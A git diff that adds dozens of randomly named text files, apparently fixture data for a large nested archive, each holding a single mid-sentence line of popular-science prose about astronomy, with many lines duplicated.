index 0000000..a85e666
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/yfnpchjdqkuznyhjunaq.txt
@@ -0,0 +1 @@
+the thermonuclear reactions in stellar interiors: Hydrogen fuses into helium, helium into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/yzbgixjgmlwrxn.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/yzbgixjgmlwrxn.txt
new file mode 100644
index 0000000..f8a7af8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/yzbgixjgmlwrxn.txt
@@ -0,0 +1 @@
+and broad sea, but the aftertimes found out the invention of ships . . . So, perhaps,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_amyuqmcbkpfdmjnhsulfxbhc.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_amyuqmcbkpfdmjnhsulfxbhc.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_amyuqmcbkpfdmjnhsulfxbhc.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_dmovodnlukdzp.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_dmovodnlukdzp.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_dmovodnlukdzp.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_dycndhrstxwgjbecovapxa.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_dycndhrstxwgjbecovapxa.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_dycndhrstxwgjbecovapxa.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_egvbfxxwiphgvdwtza.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_egvbfxxwiphgvdwtza.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_egvbfxxwiphgvdwtza.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_jhlymbktgm.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_jhlymbktgm.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_jhlymbktgm.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_kppjrdyzkjrfhkj.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_kppjrdyzkjrfhkj.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_kppjrdyzkjrfhkj.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_lltkujkuztiqvsvfu.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_lltkujkuztiqvsvfu.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_lltkujkuztiqvsvfu.txt
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_omtixajnenkgcn.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_omtixajnenkgcn.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_omtixajnenkgcn.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_takhoyxn.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_takhoyxn.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_takhoyxn.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_umbgzzkujjdqepkhknryot.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_umbgzzkujjdqepkhknryot.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_umbgzzkujjdqepkhknryot.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_usquilekofeyjtuzcrkxqkn.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_usquilekofeyjtuzcrkxqkn.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_usquilekofeyjtuzcrkxqkn.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_uwxxkyriasueakvbzv.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_uwxxkyriasueakvbzv.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_uwxxkyriasueakvbzv.txt
@@ -0,0 +1 @@
+murder improves and the penalties of war increase, a great many people must be made to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_wyskagwcruawvuc.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_wyskagwcruawvuc.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_wyskagwcruawvuc.txt
@@ -0,0 +1 @@
+murder improves and the penalties of war increase, a great many people must be made to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_ydikiywqfkxqstcx.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_ydikiywqfkxqstcx.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_ydikiywqfkxqstcx.txt
@@ -0,0 +1 @@
+murder improves and the penalties of war increase, a great many people must be made to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/file_yvwimubz.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/file_yvwimubz.txt
new file mode 100644
index 0000000..8b03281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/file_yvwimubz.txt
@@ -0,0 +1 @@
+murder improves and the penalties of war increase, a great many people must be made to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_aemedbkhxpicqvlrtujv.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_aemedbkhxpicqvlrtujv.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_aemedbkhxpicqvlrtujv.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ahbpsclbweslcla.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ahbpsclbweslcla.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ahbpsclbweslcla.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ciyqjaqygb.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ciyqjaqygb.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ciyqjaqygb.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_hqddqljkjnciajtkdda.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_hqddqljkjnciajtkdda.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_hqddqljkjnciajtkdda.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_klpowqiiowp.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_klpowqiiowp.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_klpowqiiowp.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lfsoeetupiqbyaabuwgikh.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lfsoeetupiqbyaabuwgikh.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lfsoeetupiqbyaabuwgikh.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lkesdzolc.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lkesdzolc.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lkesdzolc.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lslkhrcyafk.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lslkhrcyafk.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_lslkhrcyafk.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_mlamjyqfyivylswguv.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_mlamjyqfyivylswguv.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_mlamjyqfyivylswguv.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ovsoxywoxzm.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ovsoxywoxzm.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ovsoxywoxzm.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qekwwqgmbtaqnnuft.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qekwwqgmbtaqnnuft.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qekwwqgmbtaqnnuft.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qioxemeemhnjlimjrltnuirx.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qioxemeemhnjlimjrltnuirx.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qioxemeemhnjlimjrltnuirx.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qyqljebt.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qyqljebt.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_qyqljebt.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_tcurvccgxaotnjggxwbokb.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_tcurvccgxaotnjggxwbokb.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_tcurvccgxaotnjggxwbokb.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_vrqlnnbqjsk.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_vrqlnnbqjsk.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_vrqlnnbqjsk.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wjfjvsbxrdgephsvxkf.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wjfjvsbxrdgephsvxkf.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wjfjvsbxrdgephsvxkf.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wsqtkueroiiagtlau.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wsqtkueroiiagtlau.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wsqtkueroiiagtlau.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wtoulahbkpwwsxezsxhb.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wtoulahbkpwwsxezsxhb.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_wtoulahbkpwwsxezsxhb.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ylofzcebqegyprmeqpxmx.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ylofzcebqegyprmeqpxmx.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ylofzcebqegyprmeqpxmx.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ztklulltiepjdjtleo.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ztklulltiepjdjtleo.txt
new file mode 100644
index 0000000..32b270a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/file_ztklulltiepjdjtleo.txt
@@ -0,0 +1 @@
+a lunar eclipse, he deduced that the Sun had to be much larger than the Earth, as well asvery far away. He may then have reasoned that it is absurd for so large a body as the Sun to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_dsblqzwrkuybtcduwidwnat.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_dsblqzwrkuybtcduwidwnat.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_dsblqzwrkuybtcduwidwnat.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_dzqyyknpbhqgi.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_dzqyyknpbhqgi.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_dzqyyknpbhqgi.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_emrhhbrrekszmjlnnjgcujed.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_emrhhbrrekszmjlnnjgcujed.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_emrhhbrrekszmjlnnjgcujed.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_gynerfkyxepsibeta.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_gynerfkyxepsibeta.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_gynerfkyxepsibeta.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_lxtzsudlxvvmbeiimqga.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_lxtzsudlxvvmbeiimqga.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_lxtzsudlxvvmbeiimqga.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_mfflhdbqcyyxafrmyi.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_mfflhdbqcyyxafrmyi.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_mfflhdbqcyyxafrmyi.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_olseoywffzcbbbmgaj.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_olseoywffzcbbbmgaj.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_olseoywffzcbbbmgaj.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_pyqtlsuirlycisohidic.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_pyqtlsuirlycisohidic.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_pyqtlsuirlycisohidic.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_tjdmsammsi.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_tjdmsammsi.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_tjdmsammsi.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_tolkqvdn.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_tolkqvdn.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_tolkqvdn.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_wqgvyceouqbhohuhkydzagzr.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_wqgvyceouqbhohuhkydzagzr.txt
new file mode 100644
index 0000000..682a7d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/file_wqgvyceouqbhohuhkydzagzr.txt
@@ -0,0 +1 @@
+If there are millions of civilizations distributed more or less randomly through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/aslvrcmis.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/aslvrcmis.txt
new file mode 100644
index 0000000..fb14f58
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/aslvrcmis.txt
@@ -0,0 +1 @@
+million years from now. We have embarked on epic voyages.CHAPTER VII
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/beqwysohxkzcgk.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/beqwysohxkzcgk.txt
new file mode 100644
index 0000000..089f266
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/beqwysohxkzcgk.txt
@@ -0,0 +1 @@
+cooler regions of enhanced magnetic field strength. All this incessant, roiling, turbulent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/brqojcnrjhxcsqxygbbk.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/brqojcnrjhxcsqxygbbk.txt
new file mode 100644
index 0000000..b2ff59b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/brqojcnrjhxcsqxygbbk.txt
@@ -0,0 +1 @@
+passed by the Earth, it could not ‘stop’ the Earth’s rotation, much less start it up again at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/dzufzsdcuuznkxigrynukql.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/dzufzsdcuuznkxigrynukql.txt
new file mode 100644
index 0000000..3f72a6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/dzufzsdcuuznkxigrynukql.txt
@@ -0,0 +1 @@
+down ravines, how to get out of tight spots. It is within our capability to land a rover on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/edhdwrqrmafz.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/edhdwrqrmafz.txt
new file mode 100644
index 0000000..8291cec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/edhdwrqrmafz.txt
@@ -0,0 +1 @@
+and collisions and catastrophes a little better than we do. For example, an American Vela
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/eieebayknbjbbkiunlgjacg.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/eieebayknbjbbkiunlgjacg.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/eieebayknbjbbkiunlgjacg.txt
@@ -0,0 +1 @@
+The most interesting of the moons of Saturn seems to be Titan, the largest moon in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/elrrslfjopzqbgeppabqbd.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/elrrslfjopzqbgeppabqbd.txt
new file mode 100644
index 0000000..347a50f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/elrrslfjopzqbgeppabqbd.txt
@@ -0,0 +1 @@
+profoundly indebted to their insights.
\ No newline at end of file
